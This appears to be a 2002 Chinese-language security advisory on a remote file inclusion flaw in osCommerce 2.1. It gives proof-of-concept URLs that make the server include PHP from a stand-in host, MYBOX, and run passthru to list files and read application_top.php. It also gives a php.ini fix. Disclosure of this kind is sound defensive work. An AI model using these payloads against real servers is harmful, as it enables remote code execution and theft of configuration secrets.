xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

OSCommerce远程文件包含漏洞


发布时间:2002-06-20
更新时间:2002-06-20
严重程度:
威胁程度:普通用户访问权限
错误类型:配置错误
利用方式:服务器模式

BUGTRAQ ID:5037

受影响系统
osCommerce osCommerce 2.1
详细描述
osCommerce对用户输入缺少正确检查,允许远程攻击者包含远程服务器上的任意文件,如果远程文件是PHP脚本,可导致攻击者以WEB权限在系统上执行攻击者提供的PHP代码。

测试代码
-------- Example 1 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/a.php

--- a.php ---
<? passthru("/bin/ls")?>
-------------
Output: dir listing of the current dierctory
---------------------------

-------- Example 2 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/b.php

--- b.php ---
<? passthru("/bin/cat application_top.php")?>
-------------

解决方案
在php.ini配置中设置'allow_url_fopen'和'register_globals'为OFF。

相关信息
Tim Vandermeerch <Tim.Vandermeersch@pandora.be>.
参考:http://online.securityfocus.com/archive/1/277312
相关主页:http://www.oscommerce.com/